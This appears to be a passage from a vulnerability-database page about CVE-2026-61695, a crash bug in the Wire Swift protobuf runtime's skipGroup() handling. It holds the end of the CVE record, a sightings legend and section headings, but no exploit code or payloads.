          "url": "https://github.com/square/wire/releases/tag/7.0.0-alpha04"
        }
      ],
      "source": {
        "advisory": "GHSA-86wm-r4c5-2rc9",
        "discovery": "UNKNOWN"
      },
      "title": "Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-61695",
    "datePublished": "2026-09-23T18:44:11.336Z",
    "dateReserved": "2026-07-10T18:36:58.850Z",
    "dateUpdated": "2026-09-23T18:44:11.336Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-86WM-R4C5-2RC9

Summary

Impact

Affected Products

Swift Package Manager / CocoaPods Wire

Vulnerable Code

How Input Reaches the Sink

Proof Of Concept

Fix

Patched Behavior

Workarounds

Recommended Upgrade

Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799

Credits

CVE-2026-61695 (GCVE-0-2026-61695)

Tags

Sightings

Nomenclature

Related by attack behaviour

Swift Package Manager / CocoaPods `Wire`